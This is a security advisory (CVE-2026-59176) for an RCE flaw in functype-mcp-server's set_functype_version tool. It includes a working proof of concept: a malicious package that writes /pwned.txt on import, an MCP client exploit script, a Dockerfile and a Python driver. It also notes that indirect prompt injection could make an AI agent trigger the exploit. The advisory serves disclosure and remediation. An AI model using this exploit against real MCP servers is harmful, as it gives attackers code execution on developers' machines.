GHSA-WCJJ-9M6G-2FR2
Vulnerability from github – Published: 2026-09-09 23:49 – Updated: 2026-09-09 23:49MCP set_functype_version Package Alias RCE via Unsanitized pnpm install + Dynamic Import
Summary
The set_functype_version MCP tool in functype-mcp-server accepts an unconstrained version string, interpolates it directly into an npm package specifier (functype@<version>), and installs it via pnpm add without any validation. Because npm/pnpm package specifiers support file:, npm:, and other alias syntaxes, an attacker who can send an MCP tools/call request to this tool can cause the server to install an arbitrary local or remote package as functype. Immediately after installation, the server calls initDocsData(true), which dynamically imports functype/cli from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High).
Details
The vulnerable code is in packages/mcp-server/src/index.ts. The set_functype_version tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).
Source (user input accepted without validation):
// packages/mcp-server/src/index.ts:119-121
parameters: z.object({
version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'),
}),
Only z.string() validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of file:, npm:, URL, or path alias syntaxes.
Sink 1 — arbitrary package installation:
// packages/mcp-server/src/index.ts:122-125
execute: async (args) => {
const spec = `functype@${args.version}`
try {
execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
args.version is interpolated into the package specifier string and passed directly to pnpm add. Supplying file:/path/to/evil causes pnpm to install an attacker-controlled directory as the functype package alias.
Sink 2 — dynamic import executes installed package code:
// packages/mcp-server/src/lib/docs/data.ts:23-30
if (force) {
const resolvedPath = require.resolve("functype/cli")
cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`)
}
initDocsData(true) is called immediately after installation (line 134 in index.ts). It resolves functype/cli from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's cli.js at import time.
Data flow summary:
1. index.ts:115 — MCP tool set_functype_version registered, no auth required.
2. index.ts:119-121 — version accepted as raw z.string() (source).
3. index.ts:123 — functype@${args.version} constructed without sanitization.
4. index.ts:125 — execFileSync("pnpm", ["add", spec], ...) installs attacker-controlled package (sink: arbitrary install).
5. index.ts:134 — initDocsData(true) called immediately.
6. data.ts:29-30 — require.resolve("functype/cli") + dynamic import() executes attacker module (sink: RCE).
PoC
Step 1 — Prepare the attacker-controlled evil package:
mkdir -p /tmp/evil
cat > /tmp/evil/package.json <<'EOF'
{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}
EOF
cat > /tmp/evil/cli.js <<'EOF'
import { writeFileSync } from "node:fs";
writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n");
export const TYPES = {};
export const INTERFACES = {};
export const CATEGORIES = {};
export const FULL_INTERFACES = {};
export const VERSION = "1.0.0";
EOF
Step 2 — Clone and build the victim monorepo at the affected version:
TMP="$(mktemp -d)"
git clone https://github.com/jordanburke/functype.git "$TMP/functype"
cd "$TMP/functype"
git checkout v1.4.3
corepack enable
pnpm install --frozen-lockfile
pnpm -F functype build
pnpm -F functype-mcp-server build
Step 3 — Set up an MCP client to deliver the exploit:
cd "$TMP"
npm init -y
npm pkg set type=module
npm install @modelcontextprotocol/sdk
cat > exploit.mjs <<'EOF'
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
const client = new Client({ name: "poc", version: "1.0.0" });
const transport = new StdioClientTransport({
command: "node",
args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`],
env: { ...process.env, TRANSPORT_TYPE: "stdio" },
});
await client.connect(transport);
const result = await client.callTool({
name: "set_functype_version",
arguments: { version: "file:/tmp/evil" },
});
console.log(result);
await client.close();
EOF
REPO="$TMP/functype" node exploit.mjs
Step 4 — Verify arbitrary code execution:
cat /pwned.txt
# Expected output: RCE: mcp import-time code execution via set_functype_version
Dynamic reproduction (Docker):
The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of /pwned.txt with the expected payload string, proving end-to-end RCE.
[poc] EXPLOIT SUCCEEDED: /pwned.txt exists
[poc] File contents: RCE: mcp import-time code execution via set_functype_version
[evil-payload] Arbitrary code executed via functype/cli dynamic import
Recommended remediation:
+const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/
+
+const isSafeFunctypeVersion = (version: string): boolean => {
+ const trimmed = version.trim()
+ return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed)
+}
execute: async (args) => {
- const spec = `functype@${args.version}`
+ if (!isSafeFunctypeVersion(args.version)) {
+ return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag."
+ }
+ const spec = `functype@${args.version}`
try {
- execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
+ execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
Impact
This is a Remote Code Execution (RCE) vulnerability. Any MCP client that can invoke the set_functype_version tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process.
Who is impacted:
- Developers and teams running functype-mcp-server (version 1.4.3) in their local or CI environments as an AI coding assistant integration.
- Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a set_functype_version call with a file: or npm: alias payload.
- In non-default TRANSPORT_TYPE=httpStream deployments, network-accessible attackers can exploit this without local access.
The full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server.
Reproduction artifacts
Dockerfile
# Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE
#
# Build context: reports/npmAI_684_jordanburke__functype/
# COPY repo/ -> /workspace/functype/ (victim monorepo)
# COPY vuln-001/ -> supporting PoC files
#
# Build: docker build -t vuln001-functype-rce -f vuln-001/Dockerfile .
# Run: docker run --rm vuln001-functype-rce
#
# Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output.
FROM node:24-slim
# Install pnpm matching the repo's packageManager field (pnpm@11.7.0).
RUN npm install -g pnpm@11.7.0 --quiet
# ── Victim workspace ──────────────────────────────────────────────────────────
WORKDIR /workspace/functype
COPY repo/ ./
# Install all workspace deps. --no-frozen-lockfile avoids hash mismatches
# caused by running on a different pnpm minor than the one that generated the
# lockfile; the installed versions are still constrained by the lockfile
# specifiers for the packages we care about.
RUN pnpm install --no-frozen-lockfile
# Build functype first (mcp-server externals functype at build time).
RUN pnpm -F functype build
# Build the MCP server binary (output: packages/mcp-server/dist/bin.js).
RUN pnpm -F functype-mcp-server build
# ── Attacker-controlled evil package ─────────────────────────────────────────
# /evil/cli.js writes /pwned.txt when dynamically imported.
COPY vuln-001/evil/ /evil/
# ── MCP exploit client ────────────────────────────────────────────────────────
WORKDIR /client
RUN npm init -y --quiet && \
npm pkg set type=module && \
npm install @modelcontextprotocol/sdk@1.29.0 --quiet
COPY vuln-001/client/exploit.mjs ./exploit.mjs
# Default entrypoint: run the exploit and exit 0 on success.
CMD ["node", "/client/exploit.mjs"]
poc.py
#!/usr/bin/env python3
"""
PoC driver for VULN-001: MCP set_functype_version Package Alias RCE
via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).
Attack chain:
1. Attacker calls MCP tool set_functype_version with version="file:/evil"
2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...)
3. Evil package is installed as the functype alias in mcp-server's node_modules
4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it
5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)
Usage:
python3 poc.py [--build-only]
Requirements:
- Docker daemon running
- Build context at parent directory of this file's directory
"""
import subprocess
import sys
import json
import os
import argparse
VULN_DIR = os.path.dirname(os.path.abspath(__file__))
REPORT_DIR = os.path.dirname(VULN_DIR)
IMAGE_NAME = "vuln001-functype-rce"
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
RESULT_FILE = os.path.join(VULN_DIR, "phase2_result.json")
BUILD_CMD = ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, REPORT_DIR]
RUN_CMD = ["docker", "run", "--rm", IMAGE_NAME]
def run(cmd, timeout=None, **kwargs):
"""Run a command and return CompletedProcess with combined output."""
return subprocess.run(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
timeout=timeout,
**kwargs,
)
def write_result(passed, verdict, reason, evidence):
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": " ".join(BUILD_CMD),
"run_command": " ".join(RUN_CMD),
"poc_command": f"python3 {os.path.basename(__file__)}",
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"],
}
with open(RESULT_FILE, "w", encoding="utf-8") as f:
json.dump(result, f, indent=2, ensure_ascii=False)
print(f"[poc] Result written to {RESULT_FILE}")
print(f"[poc] verdict={verdict} passed={passed}")
def main():
parser = argparse.ArgumentParser(description="VULN-001 PoC driver")
parser.add_argument("--build-only", action="store_true", help="Only build the image, do not run")
args = parser.parse_args()
# ── Build ─────────────────────────────────────────────────────────────────
print("[poc] Building Docker image (this may take a few minutes)...")
print(f"[poc] Build command: {' '.join(BUILD_CMD)}")
try:
build = run(BUILD_CMD, timeout=900)
except subprocess.TimeoutExpired:
msg = "Docker build timed out after 900 seconds"
print(f"[poc] ERROR: {msg}")
write_result(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg)
sys.exit(2)
if build.returncode != 0:
tail = (build.stdout + "\n" + build.stderr)[-3000:]
print("[poc] Build FAILED:")
print(tail)
write_result(
False,
"FAIL",
"Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.",
f"BUILD EXIT {build.returncode}\n{tail}",
)
sys.exit(1)
print("[poc] Build succeeded.")
if args.build_only:
print("[poc] --build-only flag set; skipping run.")
sys.exit(0)
# ── Run ───────────────────────────────────────────────────────────────────
print(f"[poc] Running exploit container: {' '.join(RUN_CMD)}")
try:
run_result = run(RUN_CMD, timeout=180)
except subprocess.TimeoutExpired:
msg = "Container run timed out after 180 seconds"
print(f"[poc] ERROR: {msg}")
write_result(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg)
sys.exit(2)
stdout = run_result.stdout or ""
stderr = run_result.stderr or ""
combined = stdout + "\n" + stderr
print("=" * 60)
print("STDOUT:")
print(stdout)
print("STDERR:")
print(stderr)
print(f"EXIT CODE: {run_result.returncode}")
print("=" * 60)
# Success criteria: exit 0 AND exploit succeeded message present
exploit_succeeded = "EXPLOIT SUCCEEDED" in combined
passed = run_result.returncode == 0 and exploit_succeeded
if passed:
# Extract key evidence lines
evidence_lines = [
line for line in combined.splitlines()
if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:"))
]
evidence = "\n".join(evidence_lines) if evidence_lines else combined[-1000:]
write_result(
True,
"PASS",
(
"컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 "
'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 '
"initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함."
),
evidence,
)
print("[poc] === PASS: exploit reproduced ===")
sys.exit(0)
else:
# Distinguish failure modes
if not exploit_succeeded and run_result.returncode == 0:
verdict = "INCOMPLETE"
reason = (
"/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. "
"pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 "
"node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음."
)
else:
verdict = "FAIL"
reason = (
f"컨테이너 종료 코드 {run_result.returncode}. "
"exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요."
)
write_result(False, verdict, reason, combined[-2000:])
print(f"[poc] === {verdict}: exploit did not reproduce ===")
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.3"
},
"package": {
"ecosystem": "npm",
"name": "functype-mcp-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59176"
],
"database_specific": {
"cwe_ids": [
"CWE-829"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-09T23:49:20Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import\n\n### Summary\n\nThe `set_functype_version` MCP tool in `functype-mcp-server` accepts an unconstrained `version` string, interpolates it directly into an npm package specifier (`functype@\u003cversion\u003e`), and installs it via `pnpm add` without any validation. Because npm/pnpm package specifiers support `file:`, `npm:`, and other alias syntaxes, an attacker who can send an MCP `tools/call` request to this tool can cause the server to install an arbitrary local or remote package as `functype`. Immediately after installation, the server calls `initDocsData(true)`, which dynamically imports `functype/cli` from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process \u2014 full confidentiality, integrity, and availability impact (CVSS 7.8 High).\n\n### Details\n\nThe vulnerable code is in `packages/mcp-server/src/index.ts`. The `set_functype_version` tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).\n\n**Source (user input accepted without validation):**\n```ts\n// packages/mcp-server/src/index.ts:119-121\nparameters: z.object({\n version: z.string().describe(\u0027The functype version to install (e.g., \"0.46.0\", \"latest\", \"^0.45.0\")\u0027),\n}),\n```\nOnly `z.string()` validation is applied \u2014 no semver format check, no allowlist for dist-tags, and no rejection of `file:`, `npm:`, URL, or path alias syntaxes.\n\n**Sink 1 \u2014 arbitrary package installation:**\n```ts\n// packages/mcp-server/src/index.ts:122-125\nexecute: async (args) =\u003e {\n const spec = `functype@${args.version}`\n try {\n execFileSync(\"pnpm\", [\"add\", spec], { cwd: PROJECT_ROOT, stdio: \"pipe\", timeout: 60_000 })\n```\n`args.version` is interpolated into the package specifier string and passed directly to `pnpm add`. Supplying `file:/path/to/evil` causes pnpm to install an attacker-controlled directory as the `functype` package alias.\n\n**Sink 2 \u2014 dynamic import executes installed package code:**\n```ts\n// packages/mcp-server/src/lib/docs/data.ts:23-30\nif (force) {\n const resolvedPath = require.resolve(\"functype/cli\")\n cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`)\n}\n```\n`initDocsData(true)` is called immediately after installation (line 134 in `index.ts`). It resolves `functype/cli` from the node_modules that now points to the attacker\u0027s package and dynamically imports it, executing any module-level code in the attacker\u0027s `cli.js` at import time.\n\n**Data flow summary:**\n1. `index.ts:115` \u2014 MCP tool `set_functype_version` registered, no auth required.\n2. `index.ts:119-121` \u2014 `version` accepted as raw `z.string()` (source).\n3. `index.ts:123` \u2014 `functype@${args.version}` constructed without sanitization.\n4. `index.ts:125` \u2014 `execFileSync(\"pnpm\", [\"add\", spec], ...)` installs attacker-controlled package (sink: arbitrary install).\n5. `index.ts:134` \u2014 `initDocsData(true)` called immediately.\n6. `data.ts:29-30` \u2014 `require.resolve(\"functype/cli\")` + dynamic `import()` executes attacker module (sink: RCE).\n\n### PoC\n\n**Step 1 \u2014 Prepare the attacker-controlled evil package:**\n```bash\nmkdir -p /tmp/evil\ncat \u003e /tmp/evil/package.json \u003c\u003c\u0027EOF\u0027\n{\"name\":\"evil-functype\",\"version\":\"1.0.0\",\"type\":\"module\",\"exports\":{\"./cli\":\"./cli.js\"}}\nEOF\ncat \u003e /tmp/evil/cli.js \u003c\u003c\u0027EOF\u0027\nimport { writeFileSync } from \"node:fs\";\nwriteFileSync(\"/pwned.txt\", \"RCE: mcp import-time code execution via set_functype_version\\n\");\nexport const TYPES = {};\nexport const INTERFACES = {};\nexport const CATEGORIES = {};\nexport const FULL_INTERFACES = {};\nexport const VERSION = \"1.0.0\";\nEOF\n```\n\n**Step 2 \u2014 Clone and build the victim monorepo at the affected version:**\n```bash\nTMP=\"$(mktemp -d)\"\ngit clone https://github.com/jordanburke/functype.git \"$TMP/functype\"\ncd \"$TMP/functype\"\ngit checkout v1.4.3\ncorepack enable\npnpm install --frozen-lockfile\npnpm -F functype build\npnpm -F functype-mcp-server build\n```\n\n**Step 3 \u2014 Set up an MCP client to deliver the exploit:**\n```bash\ncd \"$TMP\"\nnpm init -y\nnpm pkg set type=module\nnpm install @modelcontextprotocol/sdk\n\ncat \u003e exploit.mjs \u003c\u003c\u0027EOF\u0027\nimport { Client } from \"@modelcontextprotocol/sdk/client/index.js\";\nimport { StdioClientTransport } from \"@modelcontextprotocol/sdk/client/stdio.js\";\n\nconst client = new Client({ name: \"poc\", version: \"1.0.0\" });\nconst transport = new StdioClientTransport({\n command: \"node\",\n args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`],\n env: { ...process.env, TRANSPORT_TYPE: \"stdio\" },\n});\n\nawait client.connect(transport);\nconst result = await client.callTool({\n name: \"set_functype_version\",\n arguments: { version: \"file:/tmp/evil\" },\n});\nconsole.log(result);\nawait client.close();\nEOF\n\nREPO=\"$TMP/functype\" node exploit.mjs\n```\n\n**Step 4 \u2014 Verify arbitrary code execution:**\n```bash\ncat /pwned.txt\n# Expected output: RCE: mcp import-time code execution via set_functype_version\n```\n\n**Dynamic reproduction (Docker):**\n\nThe Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of `/pwned.txt` with the expected payload string, proving end-to-end RCE.\n\n```\n[poc] EXPLOIT SUCCEEDED: /pwned.txt exists\n[poc] File contents: RCE: mcp import-time code execution via set_functype_version\n[evil-payload] Arbitrary code executed via functype/cli dynamic import\n```\n\n**Recommended remediation:**\n```diff\n+const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\\d+(?:\\.\\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\\+[0-9A-Za-z.-]+)?)$/\n+\n+const isSafeFunctypeVersion = (version: string): boolean =\u003e {\n+ const trimmed = version.trim()\n+ return trimmed === version \u0026\u0026 SAFE_FUNCTYPE_VERSION.test(trimmed) \u0026\u0026 !/[/:\\\\@]/.test(trimmed)\n+}\n\n execute: async (args) =\u003e {\n- const spec = `functype@${args.version}`\n+ if (!isSafeFunctypeVersion(args.version)) {\n+ return \"Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag.\"\n+ }\n+ const spec = `functype@${args.version}`\n try {\n- execFileSync(\"pnpm\", [\"add\", spec], { cwd: PROJECT_ROOT, stdio: \"pipe\", timeout: 60_000 })\n+ execFileSync(\"pnpm\", [\"add\", \"--ignore-scripts\", spec], { cwd: PROJECT_ROOT, stdio: \"pipe\", timeout: 60_000 })\n```\n\n### Impact\n\nThis is a **Remote Code Execution (RCE)** vulnerability. Any MCP client that can invoke the `set_functype_version` tool \u2014 which requires no authentication and is enabled by default in the stdio MCP server \u2014 can execute arbitrary JavaScript in the MCP server process.\n\n**Who is impacted:**\n- Developers and teams running `functype-mcp-server` (version 1.4.3) in their local or CI environments as an AI coding assistant integration.\n- Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a `set_functype_version` call with a `file:` or `npm:` alias payload.\n- In non-default `TRANSPORT_TYPE=httpStream` deployments, network-accessible attackers can exploit this without local access.\n\nThe full impact at exploitation is confidentiality, integrity, and availability \u2014 an attacker can read secrets from the process environment, modify files, or crash the server.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE\n#\n# Build context: reports/npmAI_684_jordanburke__functype/\n# COPY repo/ -\u003e /workspace/functype/ (victim monorepo)\n# COPY vuln-001/ -\u003e supporting PoC files\n#\n# Build: docker build -t vuln001-functype-rce -f vuln-001/Dockerfile .\n# Run: docker run --rm vuln001-functype-rce\n#\n# Expected exit 0 with \"[poc] EXPLOIT SUCCEEDED\" in output.\n\nFROM node:24-slim\n\n# Install pnpm matching the repo\u0027s packageManager field (pnpm@11.7.0).\nRUN npm install -g pnpm@11.7.0 --quiet\n\n# \u2500\u2500 Victim workspace \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWORKDIR /workspace/functype\nCOPY repo/ ./\n\n# Install all workspace deps. --no-frozen-lockfile avoids hash mismatches\n# caused by running on a different pnpm minor than the one that generated the\n# lockfile; the installed versions are still constrained by the lockfile\n# specifiers for the packages we care about.\nRUN pnpm install --no-frozen-lockfile\n\n# Build functype first (mcp-server externals functype at build time).\nRUN pnpm -F functype build\n\n# Build the MCP server binary (output: packages/mcp-server/dist/bin.js).\nRUN pnpm -F functype-mcp-server build\n\n# \u2500\u2500 Attacker-controlled evil package \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# /evil/cli.js writes /pwned.txt when dynamically imported.\nCOPY vuln-001/evil/ /evil/\n\n# \u2500\u2500 MCP exploit client \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWORKDIR /client\nRUN npm init -y --quiet \u0026\u0026 \\\n npm pkg set type=module \u0026\u0026 \\\n npm install @modelcontextprotocol/sdk@1.29.0 --quiet\nCOPY vuln-001/client/exploit.mjs ./exploit.mjs\n\n# Default entrypoint: run the exploit and exit 0 on success.\nCMD [\"node\", \"/client/exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC driver for VULN-001: MCP set_functype_version Package Alias RCE\nvia Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).\n\nAttack chain:\n 1. Attacker calls MCP tool set_functype_version with version=\"file:/evil\"\n 2. Server executes: execFileSync(\"pnpm\", [\"add\", \"functype@file:/evil\"], ...)\n 3. Evil package is installed as the functype alias in mcp-server\u0027s node_modules\n 4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it\n 5. /evil/cli.js runs at import time -\u003e writes /pwned.txt (arbitrary code execution)\n\nUsage:\n python3 poc.py [--build-only]\n\nRequirements:\n - Docker daemon running\n - Build context at parent directory of this file\u0027s directory\n\"\"\"\n\nimport subprocess\nimport sys\nimport json\nimport os\nimport argparse\n\nVULN_DIR = os.path.dirname(os.path.abspath(__file__))\nREPORT_DIR = os.path.dirname(VULN_DIR)\nIMAGE_NAME = \"vuln001-functype-rce\"\nDOCKERFILE = os.path.join(VULN_DIR, \"Dockerfile\")\nRESULT_FILE = os.path.join(VULN_DIR, \"phase2_result.json\")\n\nBUILD_CMD = [\"docker\", \"build\", \"-t\", IMAGE_NAME, \"-f\", DOCKERFILE, REPORT_DIR]\nRUN_CMD = [\"docker\", \"run\", \"--rm\", IMAGE_NAME]\n\n\ndef run(cmd, timeout=None, **kwargs):\n \"\"\"Run a command and return CompletedProcess with combined output.\"\"\"\n return subprocess.run(\n cmd,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n text=True,\n timeout=timeout,\n **kwargs,\n )\n\n\ndef write_result(passed, verdict, reason, evidence):\n result = {\n \"passed\": passed,\n \"verdict\": verdict,\n \"reason\": reason,\n \"build_command\": \" \".join(BUILD_CMD),\n \"run_command\": \" \".join(RUN_CMD),\n \"poc_command\": f\"python3 {os.path.basename(__file__)}\",\n \"evidence\": evidence,\n \"artifacts\": [\"Dockerfile\", \"poc.py\", \"evil/package.json\", \"evil/cli.js\", \"client/exploit.mjs\"],\n }\n with open(RESULT_FILE, \"w\", encoding=\"utf-8\") as f:\n json.dump(result, f, indent=2, ensure_ascii=False)\n print(f\"[poc] Result written to {RESULT_FILE}\")\n print(f\"[poc] verdict={verdict} passed={passed}\")\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"VULN-001 PoC driver\")\n parser.add_argument(\"--build-only\", action=\"store_true\", help=\"Only build the image, do not run\")\n args = parser.parse_args()\n\n # \u2500\u2500 Build \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"[poc] Building Docker image (this may take a few minutes)...\")\n print(f\"[poc] Build command: {\u0027 \u0027.join(BUILD_CMD)}\")\n\n try:\n build = run(BUILD_CMD, timeout=900)\n except subprocess.TimeoutExpired:\n msg = \"Docker build timed out after 900 seconds\"\n print(f\"[poc] ERROR: {msg}\")\n write_result(False, \"INCOMPLETE\", f\"\ube4c\ub4dc \ud0c0\uc784\uc544\uc6c3: {msg}\", msg)\n sys.exit(2)\n\n if build.returncode != 0:\n tail = (build.stdout + \"\\n\" + build.stderr)[-3000:]\n print(\"[poc] Build FAILED:\")\n print(tail)\n write_result(\n False,\n \"FAIL\",\n \"Docker \uc774\ubbf8\uc9c0 \ube4c\ub4dc \uc2e4\ud328. pnpm install \ub610\ub294 TypeScript \ube4c\ub4dc \uc624\ub958 \ud655\uc778 \ud544\uc694.\",\n f\"BUILD EXIT {build.returncode}\\n{tail}\",\n )\n sys.exit(1)\n\n print(\"[poc] Build succeeded.\")\n\n if args.build_only:\n print(\"[poc] --build-only flag set; skipping run.\")\n sys.exit(0)\n\n # \u2500\u2500 Run \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(f\"[poc] Running exploit container: {\u0027 \u0027.join(RUN_CMD)}\")\n\n try:\n run_result = run(RUN_CMD, timeout=180)\n except subprocess.TimeoutExpired:\n msg = \"Container run timed out after 180 seconds\"\n print(f\"[poc] ERROR: {msg}\")\n write_result(False, \"INCOMPLETE\", f\"\ucee8\ud14c\uc774\ub108 \uc2e4\ud589 \ud0c0\uc784\uc544\uc6c3: {msg}\", msg)\n sys.exit(2)\n\n stdout = run_result.stdout or \"\"\n stderr = run_result.stderr or \"\"\n combined = stdout + \"\\n\" + stderr\n\n print(\"=\" * 60)\n print(\"STDOUT:\")\n print(stdout)\n print(\"STDERR:\")\n print(stderr)\n print(f\"EXIT CODE: {run_result.returncode}\")\n print(\"=\" * 60)\n\n # Success criteria: exit 0 AND exploit succeeded message present\n exploit_succeeded = \"EXPLOIT SUCCEEDED\" in combined\n passed = run_result.returncode == 0 and exploit_succeeded\n\n if passed:\n # Extract key evidence lines\n evidence_lines = [\n line for line in combined.splitlines()\n if any(kw in line for kw in (\"EXPLOIT SUCCEEDED\", \"pwned.txt\", \"evil-payload\", \"RCE:\"))\n ]\n evidence = \"\\n\".join(evidence_lines) if evidence_lines else combined[-1000:]\n\n write_result(\n True,\n \"PASS\",\n (\n \"\ucee8\ud14c\uc774\ub108 \ub0b4 /pwned.txt \uc0dd\uc131 \ud655\uc778: MCP set_functype_version \ub3c4\uad6c\uc5d0 \"\n \u0027version=\"file:/evil\" \uc778\uc218\ub97c \uc804\ub2ec\ud558\uc790 \uc11c\ubc84\uac00 pnpm add functype@file:/evil\uc744 \uc2e4\ud589\ud55c \ud6c4 \u0027\n \"initDocsData(true)\uac00 \ub3d9\uc801 import\ub97c \ud1b5\ud574 evil/cli.js\ub97c \uc2e4\ud589, \uc784\uc758 \ud30c\uc77c \uc4f0\uae30(RCE)\uac00 \ubc1c\uc0dd\ud568.\"\n ),\n evidence,\n )\n print(\"[poc] === PASS: exploit reproduced ===\")\n sys.exit(0)\n\n else:\n # Distinguish failure modes\n if not exploit_succeeded and run_result.returncode == 0:\n verdict = \"INCOMPLETE\"\n reason = (\n \"/pwned.txt\uac00 \uc0dd\uc131\ub418\uc9c0 \uc54a\uc558\uc73c\ub098 \ucee8\ud14c\uc774\ub108\ub294 \uc815\uc0c1 \uc885\ub8cc\ub428. \"\n \"pnpm add \ud6c4 require.resolve \uacbd\ub85c 